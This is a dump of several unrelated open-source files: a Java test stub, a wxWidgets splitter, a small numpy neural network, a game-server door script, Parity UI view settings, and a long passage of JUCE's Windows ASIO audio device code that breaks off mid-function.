* Returns a configures test suite.
*
* @return a configured test suite
*/
public static Test suite() {
return new TestSuite(LOFTest.class);
}
/**
* For running the test from commandline.
*
* @param args ignored
*/
public static void main(String[] args){
TestRunner.run(suite());
}
}
| gpl-3.0 |
andrewfernie/quantracker | sim/splitter.cpp | 936 | /*
Copyright (c) 2003-2014 Andy Little.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses./
*/
#include "splitter.hpp"
splitter::splitter(wxWindow* parent) : wxSplitterWindow(parent, wxID_ANY)
{
SetSashGravity(1);
SetSashPosition(2000);
SetMinimumPaneSize(400);
m_view = new view(this);
m_panel = new panel(this);
SplitVertically(m_view,m_panel);
}
| gpl-3.0 |
praveenax/BotCentric | TFEngine/TF/Neural3.py | 1197 | import numpy as np
def initSyn(inp,out):
return 2*np.random.random((inp,out)) - 1
def nonlin(x,deriv=False):
if(deriv==True):
return (x*(1-x))
return 1/(1+np.exp(-x))
def trainLayer(in_layer,out_layer):
return nonlin(np.dot(in_layer,out_layer))
X = np.array([[0,0,1],[0,1,1],[1,0,1],[1,1,1]])
Y = np.array([[0],[1],[1],[0]])
np.random.seed(1)
syn0 = initSyn(3,5)
syn1 = initSyn(5,3)
syn2 = initSyn(3,1)
for j in xrange(60000):
l0 = X
l1 = trainLayer(l0,syn0)
l2 = trainLayer(l1,syn1)
l3 = trainLayer(l2,syn2)
l3_error = Y - l3
if(j%10000) == 0:
print "ERROR: " + str(np.mean(np.abs(l3_error)))
l3_delta = l3_error * nonlin(l3,deriv=True)
l2_error = l3_delta.dot(syn2.T)
l2_delta = l2_error * nonlin(l2,deriv=True)
l1_error = l2_delta.dot(syn1.T)
l1_delta = l1_error * nonlin(l1,deriv=True)
syn2 += l2.T.dot(l3_delta)
syn1 += l1.T.dot(l2_delta)
syn0 += l0.T.dot(l1_delta)
print "OUTPUT"
print l3
#print syn0
#print syn1
#print l2[0][0]
#print np.abs(l2[0][0])
print np.rint(l3).astype(int)
#print syn1
#print syn0
| gpl-3.0 |
Gwynthell/FFDB | scripts/zones/Castle_Oztroja/npcs/_47e.lua | 1227 | -----------------------------------
-- Area: Castle Oztroja
-- NPC: _47e (Handle)
-- Notes: Opens _470 (Brass Door) from behind
-- @pos 22.905 -1.087 -8.003 151
-----------------------------------
package.loaded["scripts/zones/Castle_Oztroja/TextIDs"] = nil;
-----------------------------------
require("scripts/zones/Castle_Oztroja/TextIDs");
require("scripts/globals/settings");
-----------------------------------
-- onTrigger Action
-----------------------------------
function onTrigger(player,npc)
local DoorID = npc:getID() - 4;
local DoorA = GetNPCByID(DoorID):getAnimation();
if(player:getZPos() > -11.9) then
if(DoorA == 9 and npc:getAnimation() == 9) then
npc:openDoor(6.5);
-- Should be a ~1 second delay here before the door opens
GetNPCByID(DoorID):openDoor(4.5);
end
end
end;
-----------------------------------
-- onEventUpdate
-----------------------------------
function onEventUpdate(player,csid,option)
--printf("CSID: %u",csid);
--printf("RESULT: %u",option);
end;
-----------------------------------
-- onEventFinish Action
-----------------------------------
function onEventFinish(player,csid,option)
--printf("CSID: %u",csid);
--printf("RESULT: %u",option);
end; | gpl-3.0 |
jesuscript/parity | js/src/views/Settings/Views/defaults.js | 2171 | // Copyright 2015, 2016 Parity Technologies (UK) Ltd.
// This file is part of Parity.
// Parity is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Parity is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Parity. If not, see <http://www.gnu.org/licenses/>.
import React from 'react';
import ActionAccountBalanceWallet from 'material-ui/svg-icons/action/account-balance-wallet';
import ActionFingerprint from 'material-ui/svg-icons/action/fingerprint';
import ActionTrackChanges from 'material-ui/svg-icons/action/track-changes';
import ActionSettings from 'material-ui/svg-icons/action/settings';
import CommunicationContacts from 'material-ui/svg-icons/communication/contacts';
import ImageGridOn from 'material-ui/svg-icons/image/grid-on';
import NavigationApps from 'material-ui/svg-icons/navigation/apps';
const defaultViews = {
accounts: {
active: true,
fixed: true,
icon: <ActionAccountBalanceWallet />,
route: '/accounts',
value: 'account'
},
addresses: {
active: true,
icon: <CommunicationContacts />,
route: '/addresses',
value: 'address'
},
apps: {
active: true,
icon: <NavigationApps />,
route: '/apps',
value: 'app'
},
contracts: {
active: false,
icon: <ImageGridOn />,
route: '/contracts',
value: 'contract'
},
status: {
active: false,
icon: <ActionTrackChanges />,
route: '/status',
value: 'status'
},
signer: {
active: true,
fixed: true,
icon: <ActionFingerprint />,
route: '/signer',
value: 'signer'
},
settings: {
active: true,
fixed: true,
icon: <ActionSettings />,
route: '/settings',
value: 'settings'
}
};
export default defaultViews;
| gpl-3.0 |
COx2/JUCE_JAPAN_DEMO | vol2/JUCE/modules/juce_audio_devices/native/juce_win32_ASIO.cpp | 53854 | /*
==============================================================================
This file is part of the JUCE library.
Copyright (c) 2017 - ROLI Ltd.
JUCE is an open source library subject to commercial or open-source
licensing.
The code included in this file is provided under the terms of the ISC license
http://www.isc.org/downloads/software-support-policy/isc-license. Permission
To use, copy, modify, and/or distribute this software for any purpose with or
without fee is hereby granted provided that the above copyright notice and
this permission notice appear in all copies.
JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER
EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE
DISCLAIMED.
==============================================================================
*/
namespace juce
{
#undef WINDOWS
/* The ASIO SDK *should* declare its callback functions as being __cdecl, but different versions seem
to be pretty random about whether or not they do this. If you hit an error using these functions
it'll be because you're trying to build using __stdcall, in which case you'd need to either get hold of
an ASIO SDK which correctly specifies __cdecl, or add the __cdecl keyword to its functions yourself.
*/
#define JUCE_ASIOCALLBACK __cdecl
//==============================================================================
namespace ASIODebugging
{
#if JUCE_ASIO_DEBUGGING
#define JUCE_ASIO_LOG(msg) ASIODebugging::logMessage (msg)
#define JUCE_ASIO_LOG_ERROR(msg, errNum) ASIODebugging::logError ((msg), (errNum))
static void logMessage (String message)
{
message = "ASIO: " + message;
DBG (message);
Logger::writeToLog (message);
}
static void logError (const String& context, long error)
{
const char* err = "Unknown error";
switch (error)
{
case ASE_OK: return;
case ASE_NotPresent: err = "Not Present"; break;
case ASE_HWMalfunction: err = "Hardware Malfunction"; break;
case ASE_InvalidParameter: err = "Invalid Parameter"; break;
case ASE_InvalidMode: err = "Invalid Mode"; break;
case ASE_SPNotAdvancing: err = "Sample position not advancing"; break;
case ASE_NoClock: err = "No Clock"; break;
case ASE_NoMemory: err = "Out of memory"; break;
default: break;
}
logMessage ("error: " + context + " - " + err);
}
#else
static void dummyLog() {}
#define JUCE_ASIO_LOG(msg) ASIODebugging::dummyLog()
#define JUCE_ASIO_LOG_ERROR(msg, errNum) ignoreUnused (errNum); ASIODebugging::dummyLog()
#endif
}
//==============================================================================
struct ASIOSampleFormat
{
ASIOSampleFormat() noexcept {}
ASIOSampleFormat (const long type) noexcept
: bitDepth (24),
littleEndian (true),
formatIsFloat (false),
byteStride (4)
{
switch (type)
{
case ASIOSTInt16MSB: byteStride = 2; littleEndian = false; bitDepth = 16; break;
case ASIOSTInt24MSB: byteStride = 3; littleEndian = false; break;
case ASIOSTInt32MSB: bitDepth = 32; littleEndian = false; break;
case ASIOSTFloat32MSB: bitDepth = 32; littleEndian = false; formatIsFloat = true; break;
case ASIOSTFloat64MSB: bitDepth = 64; byteStride = 8; littleEndian = false; break;
case ASIOSTInt32MSB16: bitDepth = 16; littleEndian = false; break;
case ASIOSTInt32MSB18: littleEndian = false; break;
case ASIOSTInt32MSB20: littleEndian = false; break;
case ASIOSTInt32MSB24: littleEndian = false; break;
case ASIOSTInt16LSB: byteStride = 2; bitDepth = 16; break;
case ASIOSTInt24LSB: byteStride = 3; break;
case ASIOSTInt32LSB: bitDepth = 32; break;
case ASIOSTFloat32LSB: bitDepth = 32; formatIsFloat = true; break;
case ASIOSTFloat64LSB: bitDepth = 64; byteStride = 8; break;
case ASIOSTInt32LSB16: bitDepth = 16; break;
case ASIOSTInt32LSB18: break; // (unhandled)
case ASIOSTInt32LSB20: break; // (unhandled)
case ASIOSTInt32LSB24: break;
case ASIOSTDSDInt8LSB1: break; // (unhandled)
case ASIOSTDSDInt8MSB1: break; // (unhandled)
case ASIOSTDSDInt8NER8: break; // (unhandled)
default:
jassertfalse; // (not a valid format code..)
break;
}
}
void convertToFloat (const void* const src, float* const dst, const int samps) const noexcept
{
if (formatIsFloat)
{
memcpy (dst, src, samps * sizeof (float));
}
else
{
switch (bitDepth)
{
case 16: convertInt16ToFloat (static_cast<const char*> (src), dst, byteStride, samps, littleEndian); break;
case 24: convertInt24ToFloat (static_cast<const char*> (src), dst, byteStride, samps, littleEndian); break;
case 32: convertInt32ToFloat (static_cast<const char*> (src), dst, byteStride, samps, littleEndian); break;
default: jassertfalse; break;
}
}
}
void convertFromFloat (const float* const src, void* const dst, const int samps) const noexcept
{
if (formatIsFloat)
{
memcpy (dst, src, samps * sizeof (float));
}
else
{
switch (bitDepth)
{
case 16: convertFloatToInt16 (src, static_cast<char*> (dst), byteStride, samps, littleEndian); break;
case 24: convertFloatToInt24 (src, static_cast<char*> (dst), byteStride, samps, littleEndian); break;
case 32: convertFloatToInt32 (src, static_cast<char*> (dst), byteStride, samps, littleEndian); break;
default: jassertfalse; break;
}
}
}
void clear (void* dst, const int numSamps) noexcept
{
if (dst != nullptr)
zeromem (dst, numSamps * byteStride);
}
int bitDepth, byteStride;
bool formatIsFloat, littleEndian;
private:
static void convertInt16ToFloat (const char* src, float* dest, const int srcStrideBytes,
int numSamples, const bool littleEndian) noexcept
{
const double g = 1.0 / 32768.0;
if (littleEndian)
{
while (--numSamples >= 0)
{
*dest++ = (float) (g * (short) ByteOrder::littleEndianShort (src));
src += srcStrideBytes;
}
}
else
{
while (--numSamples >= 0)
{
*dest++ = (float) (g * (short) ByteOrder::bigEndianShort (src));
src += srcStrideBytes;
}
}
}
static void convertFloatToInt16 (const float* src, char* dest, const int dstStrideBytes,
int numSamples, const bool littleEndian) noexcept
{
const double maxVal = (double) 0x7fff;
if (littleEndian)
{
while (--numSamples >= 0)
{
*(uint16*) dest = ByteOrder::swapIfBigEndian ((uint16) (short) roundToInt (jlimit (-maxVal, maxVal, maxVal * *src++)));
dest += dstStrideBytes;
}
}
else
{
while (--numSamples >= 0)
{
*(uint16*) dest = ByteOrder::swapIfLittleEndian ((uint16) (short) roundToInt (jlimit (-maxVal, maxVal, maxVal * *src++)));
dest += dstStrideBytes;
}
}
}
static void convertInt24ToFloat (const char* src, float* dest, const int srcStrideBytes,
int numSamples, const bool littleEndian) noexcept
{
const double g = 1.0 / 0x7fffff;
if (littleEndian)
{
while (--numSamples >= 0)
{
*dest++ = (float) (g * ByteOrder::littleEndian24Bit (src));
src += srcStrideBytes;
}
}
else
{
while (--numSamples >= 0)
{
*dest++ = (float) (g * ByteOrder::bigEndian24Bit (src));
src += srcStrideBytes;
}
}
}
static void convertFloatToInt24 (const float* src, char* dest, const int dstStrideBytes,
int numSamples, const bool littleEndian) noexcept
{
const double maxVal = (double) 0x7fffff;
if (littleEndian)
{
while (--numSamples >= 0)
{
ByteOrder::littleEndian24BitToChars ((uint32) roundToInt (jlimit (-maxVal, maxVal, maxVal * *src++)), dest);
dest += dstStrideBytes;
}
}
else
{
while (--numSamples >= 0)
{
ByteOrder::bigEndian24BitToChars ((uint32) roundToInt (jlimit (-maxVal, maxVal, maxVal * *src++)), dest);
dest += dstStrideBytes;
}
}
}
static void convertInt32ToFloat (const char* src, float* dest, const int srcStrideBytes,
int numSamples, const bool littleEndian) noexcept
{
const double g = 1.0 / 0x7fffffff;
if (littleEndian)
{
while (--numSamples >= 0)
{
*dest++ = (float) (g * (int) ByteOrder::littleEndianInt (src));
src += srcStrideBytes;
}
}
else
{
while (--numSamples >= 0)
{
*dest++ = (float) (g * (int) ByteOrder::bigEndianInt (src));
src += srcStrideBytes;
}
}
}
static void convertFloatToInt32 (const float* src, char* dest, const int dstStrideBytes,
int numSamples, const bool littleEndian) noexcept
{
const double maxVal = (double) 0x7fffffff;
if (littleEndian)
{
while (--numSamples >= 0)
{
*(uint32*) dest = ByteOrder::swapIfBigEndian ((uint32) roundToInt (jlimit (-maxVal, maxVal, maxVal * *src++)));
dest += dstStrideBytes;
}
}
else
{
while (--numSamples >= 0)
{
*(uint32*) dest = ByteOrder::swapIfLittleEndian ((uint32) roundToInt (jlimit (-maxVal, maxVal, maxVal * *src++)));
dest += dstStrideBytes;
}
}
}
};
//==============================================================================
class ASIOAudioIODevice;
static ASIOAudioIODevice* volatile currentASIODev[16] = { 0 };
extern HWND juce_messageWindowHandle;
class ASIOAudioIODeviceType;
static void sendASIODeviceChangeToListeners (ASIOAudioIODeviceType*);
//==============================================================================
class ASIOAudioIODevice : public AudioIODevice,
private Timer
{
public:
ASIOAudioIODevice (ASIOAudioIODeviceType* ownerType, const String& devName,
const CLSID clsID, const int slotNumber)
: AudioIODevice (devName, "ASIO"),
owner (ownerType),
asioObject (nullptr),
classId (clsID),
inputLatency (0),
outputLatency (0),
minBufferSize (0), maxBufferSize (0),
preferredBufferSize (0),
bufferGranularity (0),
numClockSources (0),
currentBlockSizeSamples (0),
currentBitDepth (16),
currentSampleRate (0),
currentCallback (nullptr),
bufferIndex (0),
numActiveInputChans (0),
numActiveOutputChans (0),
deviceIsOpen (false),
isStarted (false),
buffersCreated (false),
calledback (false),
littleEndian (false),
postOutput (true),
needToReset (false),
insideControlPanelModalLoop (false),
shouldUsePreferredSize (false)
{
::CoInitialize (nullptr);
name = devName;
inBuffers.calloc (4);
outBuffers.calloc (4);
jassert (currentASIODev [slotNumber] == nullptr);
currentASIODev [slotNumber] = this;
openDevice();
}
~ASIOAudioIODevice()
{
for (int i = 0; i < numElementsInArray (currentASIODev); ++i)
if (currentASIODev[i] == this)
currentASIODev[i] = nullptr;
close();
JUCE_ASIO_LOG ("closed");
removeCurrentDriver();
}
void updateSampleRates()
{
// find a list of sample rates..
Array<double> newRates;
if (asioObject != nullptr)
{
const int possibleSampleRates[] = { 32000, 44100, 48000, 88200, 96000, 176400, 192000, 352800, 384000 };
for (int index = 0; index < numElementsInArray (possibleSampleRates); ++index)
if (asioObject->canSampleRate ((double) possibleSampleRates[index]) == 0)
newRates.add ((double) possibleSampleRates[index]);
}
if (newRates.isEmpty())
{
double cr = getSampleRate();
JUCE_ASIO_LOG ("No sample rates supported - current rate: " + String ((int) cr));
if (cr > 0)
newRates.add ((int) cr);
}
if (sampleRates != newRates)
{
sampleRates.swapWith (newRates);
#if JUCE_ASIO_DEBUGGING
StringArray s;
for (int i = 0; i < sampleRates.size(); ++i)
s.add (String (sampleRates.getUnchecked(i)));
JUCE_ASIO_LOG ("Rates: " + s.joinIntoString (" "));
#endif
}
}
StringArray getOutputChannelNames() override { return outputChannelNames; }
StringArray getInputChannelNames() override { return inputChannelNames; }
Array<double> getAvailableSampleRates() override { return sampleRates; }
Array<int> getAvailableBufferSizes() override { return bufferSizes; }
int getDefaultBufferSize() override { return preferredBufferSize; }
int getXRunCount() const noexcept override { return xruns; }
String open (const BigInteger& inputChannels,
const BigInteger& outputChannels,
double sr, int bufferSizeSamples) override
{
if (isOpen())
close();
jassert (currentCallback == nullptr);
if (bufferSizeSamples < 8 || bufferSizeSamples > 16384)
shouldUsePreferredSize = true;
if (asioObject == nullptr)
{
const String openingError (openDevice());
if (asioObject == nullptr)
return openingError;
}
isStarted = false;
bufferIndex = -1;
long err = asioObject->getChannels (&totalNumInputChans, &totalNumOutputChans);
jassert (err == ASE_OK);
bufferSizeSamples = readBufferSizes (bufferSizeSamples);
double sampleRate = sr;
currentSampleRate = sampleRate;
currentBlockSizeSamples = bufferSizeSamples;
currentChansOut.clear();
currentChansIn.clear();
updateSampleRates();
if (sampleRate == 0 || (sampleRates.size() > 0 && ! sampleRates.contains (sampleRate)))
sampleRate = sampleRates[0];
jassert (sampleRate != 0);
if (sampleRate == 0)
sampleRate = 44100.0;
updateClockSources();
currentSampleRate = getSampleRate();
error.clear();
buffersCreated = false;
setSampleRate (sampleRate);
// (need to get this again in case a sample rate change affected the channel count)
err = asioObject->getChannels (&totalNumInputChans, &totalNumOutputChans);
jassert (err == ASE_OK);
if (asioObject->future (kAsioCanReportOverload, nullptr) != ASE_OK)
xruns = -1;
inBuffers.calloc (totalNumInputChans + 8);
outBuffers.calloc (totalNumOutputChans + 8);
if (needToReset)
{
JUCE_ASIO_LOG (" Resetting");
removeCurrentDriver();
loadDriver();
String initError = initDriver();
if (initError.isNotEmpty())
JUCE_ASIO_LOG ("ASIOInit: " + initError);
needToReset = false;
}
const int totalBuffers = resetBuffers (inputChannels, outputChannels);
setCallbackFunctions();
JUCE_ASIO_LOG ("disposing buffers");
err = asioObject->disposeBuffers();
JUCE_ASIO_LOG ("creating buffers: " + String (totalBuffers) + ", " + String (currentBlockSizeSamples));
err = asioObject->createBuffers (bufferInfos, totalBuffers, currentBlockSizeSamples, &callbacks);
if (err != ASE_OK)
{
currentBlockSizeSamples = preferredBufferSize;
JUCE_ASIO_LOG_ERROR ("create buffers 2", err);
asioObject->disposeBuffers();
err = asioObject->createBuffers (bufferInfos, totalBuffers, currentBlockSizeSamples, &callbacks);
}
if (err == ASE_OK)
{
buffersCreated = true;
tempBuffer.calloc (totalBuffers * currentBlockSizeSamples + 32);
int n = 0;
Array<int> types;
currentBitDepth = 16;
for (int i = 0; i < (int) totalNumInputChans; ++i)
{
if (inputChannels[i])
{
inBuffers[n] = tempBuffer + (currentBlockSizeSamples * n);
ASIOChannelInfo channelInfo = { 0 };
channelInfo.channel = i;
channelInfo.isInput = 1;
asioObject->getChannelInfo (&channelInfo);
types.addIfNotAlreadyThere (channelInfo.type);
inputFormat[n] = ASIOSampleFormat (channelInfo.type);
currentBitDepth = jmax (currentBitDepth, inputFormat[n].bitDepth);
++n;
}
}
jassert (numActiveInputChans == n);
n = 0;
for (int i = 0; i < (int) totalNumOutputChans; ++i)
{
if (outputChannels[i])
{
outBuffers[n] = tempBuffer + (currentBlockSizeSamples * (numActiveInputChans + n));
ASIOChannelInfo channelInfo = { 0 };
channelInfo.channel = i;
channelInfo.isInput = 0;
asioObject->getChannelInfo (&channelInfo);
types.addIfNotAlreadyThere (channelInfo.type);
outputFormat[n] = ASIOSampleFormat (channelInfo.type);
currentBitDepth = jmax (currentBitDepth, outputFormat[n].bitDepth);
++n;
}
}
jassert (numActiveOutputChans == n);
for (int i = types.size(); --i >= 0;)
JUCE_ASIO_LOG ("channel format: " + String (types[i]));
jassert (n <= totalBuffers);
for (int i = 0; i < numActiveOutputChans; ++i)
{
outputFormat[i].clear (bufferInfos [numActiveInputChans + i].buffers[0], currentBlockSizeSamples);
outputFormat[i].clear (bufferInfos [numActiveInputChans + i].buffers[1], currentBlockSizeSamples);
}
readLatencies();
refreshBufferSizes();
deviceIsOpen = true;
JUCE_ASIO_LOG ("starting");
calledback = false;
err = asioObject->start();
if (err != 0)
{
deviceIsOpen = false;
JUCE_ASIO_LOG ("stop on failure");
Thread::sleep (10);
asioObject->stop();
error = "Can't start device";
Thread::sleep (10);
}
else
{
int count = 300;
while (--count > 0 && ! calledback)
Thread::sleep (10);
isStarted = true;
if (! calledback)
{
error = "Device didn't start correctly";
JUCE_ASIO_LOG ("no callbacks - stopping..");
asioObject->stop();
}
}
}
else
{
error = "Can't create i/o buffers";
}
if (error.isNotEmpty())
{
JUCE_ASIO_LOG_ERROR (error, err);
disposeBuffers();
Thread::sleep (20);
isStarted = false;
deviceIsOpen = false;
const String errorCopy (error);
close(); // (this resets the error string)
error = errorCopy;
}
needToReset = false;
return error;
}
void close() override
{
error.clear();
stopTimer();
stop();
if (asioObject != nullptr && deviceIsOpen)
{
const ScopedLock sl (callbackLock);
deviceIsOpen = false;
isStarted = false;
needToReset = false;
JUCE_ASIO_LOG ("stopping");
if (asioObject != nullptr)
{
Thread::sleep (20);
asioObject->stop();
Thread::sleep (10);
disposeBuffers();
}
Thread::sleep (10);
}
}
bool isOpen() override { return deviceIsOpen || insideControlPanelModalLoop; }
bool isPlaying() override { return asioObject != nullptr && currentCallback != nullptr; }
int getCurrentBufferSizeSamples() override { return currentBlockSizeSamples; }
double getCurrentSampleRate() override { return currentSampleRate; }
int getCurrentBitDepth() override { return currentBitDepth; }
BigInteger getActiveOutputChannels() const override { return currentChansOut; }
BigInteger getActiveInputChannels() const override { return currentChansIn; }
int getOutputLatencyInSamples() override { return outputLatency + currentBlockSizeSamples / 4; }
int getInputLatencyInSamples() override { return inputLatency + currentBlockSizeSamples / 4; }
void start (AudioIODeviceCallback* callback) override
{
if (callback != nullptr)
{
callback->audioDeviceAboutToStart (this);
const ScopedLock sl (callbackLock);
currentCallback = callback;
}
}
void stop() override
{
AudioIODeviceCallback* const lastCallback = currentCallback;
{
const ScopedLock sl (callbackLock);
currentCallback = nullptr;
}
if (lastCallback != nullptr)
lastCallback->audioDeviceStopped();
}
String getLastError() { return error; }
bool hasControlPanel() const { return true; }
bool showControlPanel()
{
JUCE_ASIO_LOG ("showing control panel");
bool done = false;
insideControlPanelModalLoop = true;
const uint32 started = Time::getMillisecondCounter();
if (asioObject != nullptr)
{
asioObject->controlPanel();
const int spent = (int) Time::getMillisecondCounter() - (int) started;
JUCE_ASIO_LOG ("spent: " + String (spent));
if (spent > 300)
{
shouldUsePreferredSize = true;
done = true;
}
}
insideControlPanelModalLoop = false;
return done;
}
void resetRequest() noexcept
{
startTimer (500);
}
void timerCallback() override
{
if (! insideControlPanelModalLoop)
{
stopTimer();
JUCE_ASIO_LOG ("restart request!");
AudioIODeviceCallback* const oldCallback = currentCallback;
close();
needToReset = true;
open (BigInteger (currentChansIn), BigInteger (currentChansOut),
currentSampleRate, currentBlockSizeSamples);
reloadChannelNames();
if (oldCallback != nullptr)
start (oldCallback);
sendASIODeviceChangeToListeners (owner);
}
else
{
startTimer (100);
}
}
private:
//==============================================================================
WeakReference<ASIOAudioIODeviceType> owner;
IASIO* volatile asioObject;
ASIOCallbacks callbacks;
CLSID classId;
String error;
long totalNumInputChans, totalNumOutputChans;
StringArray inputChannelNames, outputChannelNames;
Array<double> sampleRates;
Array<int> bufferSizes;
long inputLatency, outputLatency;
long minBufferSize, maxBufferSize, preferredBufferSize, bufferGranularity;
ASIOClockSource clocks[32];
int numClockSources;
int volatile currentBlockSizeSamples;
int volatile currentBitDepth;
double volatile currentSampleRate;
BigInteger currentChansOut, currentChansIn;
AudioIODeviceCallback* volatile currentCallback;
CriticalSection callbackLock;
HeapBlock<ASIOBufferInfo> bufferInfos;
HeapBlock<float*> inBuffers, outBuffers;
HeapBlock<ASIOSampleFormat> inputFormat, outputFormat;
WaitableEvent event1;
HeapBlock<float> tempBuffer;
int volatile bufferIndex, numActiveInputChans, numActiveOutputChans;
bool deviceIsOpen, isStarted, buffersCreated;
bool volatile calledback;
bool volatile littleEndian, postOutput, needToReset;
bool volatile insideControlPanelModalLoop;
bool volatile shouldUsePreferredSize;
int xruns = 0;
//==============================================================================
static String convertASIOString (char* const text, int length)
{
if (CharPointer_UTF8::isValidString (text, length))
return String::fromUTF8 (text, length);
WCHAR wideVersion [64] = { 0 };
MultiByteToWideChar (CP_ACP, 0, text, length, wideVersion, numElementsInArray (wideVersion));
return wideVersion;
}
String getChannelName (int index, bool isInput) const
{
ASIOChannelInfo channelInfo = { 0 };
channelInfo.channel = index;
channelInfo.isInput = isInput ? 1 : 0;
asioObject->getChannelInfo (&channelInfo);
return convertASIOString (channelInfo.name, sizeof (channelInfo.name));
}
void reloadChannelNames()
{
if (asioObject != nullptr
&& asioObject->getChannels (&totalNumInputChans, &totalNumOutputChans) == ASE_OK)
{
inputChannelNames.clear();
outputChannelNames.clear();
for (int i = 0; i < totalNumInputChans; ++i)
inputChannelNames.add (getChannelName (i, true));
for (int i = 0; i < totalNumOutputChans; ++i)
outputChannelNames.add (getChannelName (i, false));
outputChannelNames.trim();
inputChannelNames.trim();
outputChannelNames.appendNumbersToDuplicates (false, true);
inputChannelNames.appendNumbersToDuplicates (false, true);
}
}
long refreshBufferSizes()
{
return asioObject->getBufferSize (&minBufferSize, &maxBufferSize, &preferredBufferSize, &bufferGranularity);
}
int readBufferSizes (int bufferSizeSamples)
{
minBufferSize = 0;
maxBufferSize = 0;
bufferGranularity = 0;
long newPreferredSize = 0;
if (asioObject->getBufferSize (&minBufferSize, &maxBufferSize, &newPreferredSize, &bufferGranularity) == ASE_OK)
{
if (preferredBufferSize != 0 && newPreferredSize != 0 && newPreferredSize != preferredBufferSize)
shouldUsePreferredSize = true;
if (bufferSizeSamples < minBufferSize || bufferSizeSamples > maxBufferSize)
shouldUsePreferredSize = true;
preferredBufferSize = newPreferredSize;
}
// unfortunate workaround for certain drivers which crash if you make
// dynamic changes to the buffer size...
shouldUsePreferredSize = shouldUsePreferredSize || getName().containsIgnoreCase ("Digidesign");
if (shouldUsePreferredSize)
{
JUCE_ASIO_LOG ("Using preferred size for buffer..");
long err = refreshBufferSizes();
if (err == ASE_OK)
{
bufferSizeSamples = (int) preferredBufferSize;
}
else
{
bufferSizeSamples = 1024;
JUCE_ASIO_LOG_ERROR ("getBufferSize1", err);
}
shouldUsePreferredSize = false;
}
return bufferSizeSamples;
}
int resetBuffers (const BigInteger& inputChannels,
const BigInteger& outputChannels)
{
numActiveInputChans = 0;
numActiveOutputChans = 0;
ASIOBufferInfo* info = bufferInfos;
for (int i = 0; i < totalNumInputChans; ++i)
{
if (inputChannels[i])
{
currentChansIn.setBit (i);
info->isInput = 1;
info->channelNum = i;
info->buffers[0] = info->buffers[1] = nullptr;
++info;
++numActiveInputChans;
}
}
for (int i = 0; i < totalNumOutputChans; ++i)
{
if (outputChannels[i])
{
currentChansOut.setBit (i);
info->isInput = 0;
info->channelNum = i;
info->buffers[0] = info->buffers[1] = nullptr;
++info;
++numActiveOutputChans;
}
}
return numActiveInputChans + numActiveOutputChans;
}
void addBufferSizes (long minSize, long maxSize, long preferredSize, long granularity)
{
// find a list of buffer sizes..
JUCE_ASIO_LOG (String ((int) minSize) + "->" + String ((int) maxSize) + ", "
+ String ((int) preferredSize) + ", " + String ((int) granularity));
if (granularity >= 0)
{
granularity = jmax (16, (int) granularity);
for (int i = jmax ((int) (minSize + 15) & ~15, (int) granularity); i < jmin (6400, (int) maxSize); i += granularity)
bufferSizes.addIfNotAlreadyThere (granularity * (i / granularity));
}
else if (granularity < 0)
{
for (int i = 0; i < 18; ++i)
{
const int s = (1 << i);
if (s >= minSize && s <= maxSize)
bufferSizes.add (s);
}
}
bufferSizes.addIfNotAlreadyThere (preferredSize);
bufferSizes.sort();
}
double getSampleRate() const
{
double cr = 0;
long err = asioObject->getSampleRate (&cr);
JUCE_ASIO_LOG_ERROR ("getSampleRate", err);
return cr;
}
void setSampleRate (double newRate)
{
if (currentSampleRate != newRate)
{
JUCE_ASIO_LOG ("rate change: " + String (currentSampleRate) + " to " + String (newRate));
long err = asioObject->setSampleRate (newRate);
if (err == ASE_NoClock && numClockSources > 0)
{
JUCE_ASIO_LOG ("trying to set a clock source..");
Thread::sleep (10);
err = asioObject->setClockSource (clocks[0].index);
JUCE_ASIO_LOG_ERROR ("setClockSource2", err);
Thread::sleep (10);
err = asioObject->setSampleRate (newRate);
}
if (err == 0)
currentSampleRate = newRate;
// on fail, ignore the attempt to change rate, and run with the current one..
}
}
void updateClockSources()
{
zeromem (clocks, sizeof (clocks));
long numSources = numElementsInArray (clocks);
asioObject->getClockSources (clocks, &numSources);
numClockSources = (int) numSources;
bool isSourceSet = false;
// careful not to remove this loop because it does more than just logging!
for (int i = 0; i < numClockSources; ++i)
{
String s ("clock: ");
s += clocks[i].name;
if (clocks[i].isCurrentSource)
{
isSourceSet = true;
s << " (cur)";
}
JUCE_ASIO_LOG (s);
}
if (numClockSources > 1 && ! isSourceSet)
{
JUCE_ASIO_LOG ("setting clock source");
long err = asioObject->setClockSource (clocks[0].index);
JUCE_ASIO_LOG_ERROR ("setClockSource1", err);
Thread::sleep (20);
}
else
{
if (numClockSources == 0)
JUCE_ASIO_LOG ("no clock sources!");
}
}
void readLatencies()
{
inputLatency = outputLatency = 0;
if (asioObject->getLatencies (&inputLatency, &outputLatency) != 0)
JUCE_ASIO_LOG ("getLatencies() failed");
else
JUCE_ASIO_LOG ("Latencies: in = " + String ((int) inputLatency) + ", out = " + String ((int) outputLatency));
}
void createDummyBuffers (long preferredSize)
{
numActiveInputChans = 0;
numActiveOutputChans = 0;
ASIOBufferInfo* info = bufferInfos;
int numChans = 0;
for (int i = 0; i < jmin (2, (int) totalNumInputChans); ++i)
{
info->isInput = 1;
info->channelNum = i;
info->buffers[0] = info->buffers[1] = nullptr;
++info;
++numChans;
}
const int outputBufferIndex = numChans;
for (int i = 0; i < jmin (2, (int) totalNumOutputChans); ++i)
{
info->isInput = 0;
info->channelNum = i;
info->buffers[0] = info->buffers[1] = nullptr;
++info;
++numChans;
}
setCallbackFunctions();
JUCE_ASIO_LOG ("creating buffers (dummy): " + String (numChans) + ", " + String ((int) preferredSize));
if (preferredSize > 0)
{
long err = asioObject->createBuffers (bufferInfos, numChans, preferredSize, &callbacks);
